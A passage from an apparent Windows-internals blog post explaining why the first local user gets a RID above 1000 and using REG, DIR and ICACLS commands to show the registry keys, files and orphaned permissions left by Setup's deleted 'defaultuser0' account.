Start the Command Processor Cmd.exe in a second console window, then execute the console application whisper.exe built in step 2. and evaluate its exit code:
```
START CMD
.\whisper.exe
ECHO %ERRORLEVEL%
```
In the second console window perform an arbitrary read operation on the file whisper.exe to break the Level 1 opportunistic lock, followed by an arbitrary write operation on the file whisper.exe to break the Level 2 opportunistic lock, then terminate the Command Processor:
```
COPY whisper.exe
COPY whisper.exe +
EXIT
```
Note: the error messages from the internal Copy command are expected and can be ignored.
```
Level 1 opportunistic lock on file 'C:\Users\Stefan\Desktop\whisper.exe' broken!
Level 2 opportunistic lock on file 'C:\Users\Stefan\Desktop\whisper.exe' broken!
0
```

Whisper № 10

Have you noticed that since almost 10 years the first local user account created during (or after) a fresh installation of Windows 10 (and Windows 11 too) gets a RID greater than 1000 – and perhaps wondered why?

Since Windows 10 1607 alias Anniversary Update (codenamed Redstone 1) Windows Setup creates, activates, (ab)uses, deactivates and finally removes a local ~~user~~ (protected) administrator account, typically defaultuser0, and its user profile.

This account is created after the local computer (or machine) account %COMPUTERNAME% with its unique security identifier S-1-5-21-‹digits›-‹digits›-‹digits›, the local user group None with RID 513 as primary group for all local user accounts, the local Administrator account with RID 500, the local Guest account with RID 501, the local DefaultUser account with RID 503 plus the local WDAGUtilityAccount account with RID 504, and gets as first local user account the RID 1000!

Note: local user accounts defined in the answer file of an unattended installation are created before the defaultuser0 account and get RIDs starting at 1000 – if accounts DEFAULTUSER0, DefaultUser1, defaultuser2 etc. are defined there Windows Setup creates the next defaultuser‹number› account.

Note: people with a sane mind would have used the DefaultUser account instead!

Demonstration

Perform the following 6 simple steps plus a kludge to detect the debris left behind from the local ~~user~~ (protected) administrator account defaultuser0.

Start the Command Processor Cmd.exe elevated and with delayed variable expansion enabled, then execute the following command lines to find all Registry keys, entries and values which contain the character string defaultuser0:

REG.EXE QUERY HKEY_LOCAL_MACHINE /C /F defaultuser0 /S
REG.EXE QUERY HKEY_USERS /C /F defaultuser0 /S

Microsoft Windows [Version 10.0.26200.6584]
(c) Microsoft Corporation. All rights reserved.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\SessionData\1
    LoggedOnSAMUser    REG_SZ    WHISPER\defaultuser0
    LoggedOnUser    REG_SZ    WHISPER\defaultuser0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\S-1-5-21-197523953-1369290436-2466060359-1000\0
    szName    REG_SZ    WHISPER\defaultuser0
    szTargetName    REG_SZ    defaultuser0

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\S-1-5-21-197523953-1369290436-2466060359-1000\0
    szName    REG_SZ    WHISPER\defaultuser0
    szTargetName    REG_SZ    defaultuser0

End of search: 6 match(es) found.

End of search: 0 match(es) found.

Display all Registry keys, entries and values which contain the deleted account’s SID string found in step 1.:

REG.EXE QUERY HKEY_LOCAL_MACHINE /C /F S-1-5-21-197523953-1369290436-2466060359-1000 /S
REG.EXE QUERY HKEY_USERS /C /F S-1-5-21-197523953-1369290436-2466060359-1000 /S

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\UserManager\Users\1044480
    Sid    REG_SZ    S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\User\Data\2
    UserSid    REG_SZ    S-1-5-21-197523953-1369290436-2466060359-1000
    _IndexKeys    REG_MULTI_SZ    UserSid\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModel\StateRepository\Cache\User\Index\UserSid\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\PackageRepair
    S-1-5-21-197523953-1369290436-2466060359-1000    REG_QWORD    0x1dc775e3c8c9342

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\PackageRepair\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\PackageState\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\SessionData\1
    LoggedOnUserSID    REG_SZ    S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\NetCache\PurgeAtNextLogoff
    S-1-5-21-197523953-1369290436-2466060359-1000    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemProtectedUserData\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\TouchKeyboard\Users\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EFS\DecryptRequest\{AF3FBAC8-496E-424A-80F4-845D0B88822D}
    CompletedUsers    REG_MULTI_SZ    S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey\1\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileService\References\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\Gather\Windows\SystemIndex\Sites\{S-1-5-21-197523953-1369290436-2466060359-1000}

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Search\Gather\Windows\SystemIndex\Sites\{S-1-5-21-197523953-1369290436-2466060359-1000}

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-197523953-1369290436-2466060359-1000

End of search: 20 match(es) found.

HKEY_USERS\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-197523953-1369290436-2466060359-1000

HKEY_USERS\S-1-5-18\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-197523953-1369290436-2466060359-1000

End of search: 2 match(es) found.

Find all directories and files on the boot partition which contain defaultuser0 in their name:

DIR "%SystemDrive%\*defaultuser0*" /A /Q /S

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\ProgramData\Microsoft\User Account Pictures

12/27/2025  07:18 PM                 0 NT AUTHORITY\SYSTEM    defaultuser0.dat
               1 File(s)              0 bytes

 Directory of C:\Users\All Users\Microsoft\User Account Pictures

12/27/2025  07:18 PM                 0 NT AUTHORITY\SYSTEM    defaultuser0.dat
               1 File(s)              0 bytes

 Directory of C:\Windows\ServiceProfiles\LocalService\AppData\Local\ConnectedDevicesPlatform

12/27/2025  07:20 PM               984 NT AUTHORITY\LOCAL SERVL.defaultuser0.cdp
               1 File(s)            984 bytes

     Total Files Listed:
               3 File(s)            984 bytes
               0 Dir(s)    9,876,543,210 bytes free

Find all directories and files on the boot partition which contain the deleted account’s SID string in their name:

DIR "%SystemDrive%\*S-1-5-21-197523953-1369290436-2466060359-1000* /A /Q /S"

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe

12/27/2025  07:18 PM             1,352 NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000.pckgdep
               1 File(s)          1,352 bytes

 Directory of C:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe

12/27/2025  07:18 PM             1,228 NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000.pckgdep
               1 File(s)          1,228 bytes

 Directory of C:\ProgramData\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  08:28 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  08:28 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\ProgramData\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  07:18 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\ProgramData\Packages\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  07:18 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\ProgramData\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  07:18 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\ProgramData\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  08:28 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\AppRepository\Packages\Microsoft.VCLibs.140.00.UWPDesktop_14.0.33728.0_x64__8wekyb3d8bbwe

12/27/2025  07:18 PM             1,352 NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000.pckgdep
               1 File(s)          1,352 bytes

 Directory of C:\Users\All Users\Microsoft\Windows\AppRepository\Packages\Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe

12/27/2025  07:18 PM             1,228 NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000.pckgdep
               1 File(s)          1,228 bytes

 Directory of C:\Users\All Users\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  08:28 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  08:28 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  07:18 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Packages\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  07:18 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Packages\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  07:18 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\Users\All Users\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\S-1-5-21-197523953-1369290436-2466060359-1000

12/27/2025  08:28 PM    <DIR>          NT AUTHORITY\SYSTEM    S-1-5-21-197523953-1369290436-2466060359-1000
               0 File(s)              0 bytes

 Directory of C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache

12/27/2025  08:20 PM               252 NT AUTHORITY\LOCAL SERVFontCache-FontSet-S-1-5-21-197523953-1369290436-2466060359-1000.dat
12/27/2025  08:20 PM         8,388,608 NT AUTHORITY\LOCAL SERVFontCache-S-1-5-21-197523953-1369290436-2466060359-1000.dat
               2 File(s)      8,388,860 bytes

 Directory of C:\Windows\System32\WDI\LogFiles\StartupInfo

12/27/2025  08:20 PM                 0 NT AUTHORITY\LOCAL SERVS-1-5-21-197523953-1369290436-2466060359-1000_StartupInfo1.xml
12/27/2025  08:20 PM                 0 NT AUTHORITY\LOCAL SERVS-1-5-21-197523953-1369290436-2466060359-1000_StartupInfo2.xml
               2 File(s)              0 bytes

 Directory of C:\Windows\System32\WDI\{86432a0b-3c7d-4ddf-a89c-172faa90485d}

12/27/2025  08:20 PM                 0 NT AUTHORITY\LOCAL SERVS-1-5-21-197523953-1369290436-2466060359-1000_UserData.bin
               1 File(s)              0 bytes

     Total Files Listed:
               9 File(s)      8,394,020 bytes
              12 Dir(s)    9,876,543,210 bytes free

Find all directories and files on the boot partition which have an (orphan) ACE for the (deleted) local ~~user~~ (protected) administrator account defaultuser0 in their DACL:

ICACLS.EXE "%SystemDrive%\*" /FindSID *S-1-5-21-197523953-1369290436-2466060359-1000 /C /Q /T

No files with a matching SID was found.
Successfully processed 0 files; Failed processing 0 files

OUCH: ICACLS.EXE … /FindSID *S-1-‹digits›… fails miserably for orphan security identifiers!

ICACLS.EXE "%SystemRoot%\System32\AppLocker\AppCache.*" /C /Q

C:\Windows\System32\AppLocker\AppCache.dat NT AUTHORITY\LOCAL SERVICE:(I)(F)
                                           NT AUTHORITY\SYSTEM:(I)(F)
                                           BUILTIN\Administrators:(I)(F)
                                           BUILTIN\Users:(I)(RX)
                                           S-1-5-21-197523953-1369290436-2466060359-1000:(I)(F)
                                           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Windows\System32\AppLocker\AppCache.dat.LOG1 NT AUTHORITY\LOCAL SERVICE:(I)(F)
                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                BUILTIN\Administrators:(I)(F)
                                                BUILTIN\Users:(I)(RX)
                                                S-1-5-21-197523953-1369290436-2466060359-1000:(I)(F)
                                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

C:\Windows\System32\AppLocker\AppCache.dat.LOG2 NT AUTHORITY\LOCAL SERVICE:(I)(F)
                                                NT AUTHORITY\SYSTEM:(I)(F)
                                                BUILTIN\Administrators:(I)(F)
                                                BUILTIN\Users:(I)(RX)
                                                S-1-5-21-197523953-1369290436-2466060359-1000:(I)(F)
                                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 3 files; Failed processing 0 files

Execute the following command lines to work around the bugs of the Icacls command line utility and the limitations of the Command Processor Cmd:

ICACLS.EXE "%SystemDrive%\*" /SAVE whisper.acl /C /Q /T
1>whisper.tmp (FOR /F "Delims=" %? IN ('TYPE whisper.acl') DO @IF DEFINED WHISPER (ECHO !WHISPER! %? && SET WHISPER=) ELSE SET WHISPER=%SystemDrive%\%?)
FINDSTR.EXE /L ;S-1-5-21-197523953-1369290436-2466060359-1000) whisper.tmp

Note: the command lines can be copied and pasted as block into a Command Processor window.

C:\hiberfil.sys: The process cannot access the file because it is being used by another process.
C:\pagefile.sys: The process cannot access the file because it is being used by another process.
C:\swapfile.sys: The process cannot access the file because it is being used by another process.
[…]
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5\*: Access is denied.
Successfully processed 0 files; Failed processing 389 files

C:\ProgramData\Microsoft\User Account Pictures\defaultuser0.dat D:P(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x13019f;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\ProgramData\Microsoft\Windows\Start Menu D:AI(A;OICIIO;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIIO;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIIO;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Steps Recorder.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Media Player Legacy.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Character Map.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Component Services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Computer Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\dfrgui.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Disk Cleanup.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Event Viewer.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\iSCSI Initiator.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Memory Diagnostics Tool.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ODBC Data Sources (32-bit).lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
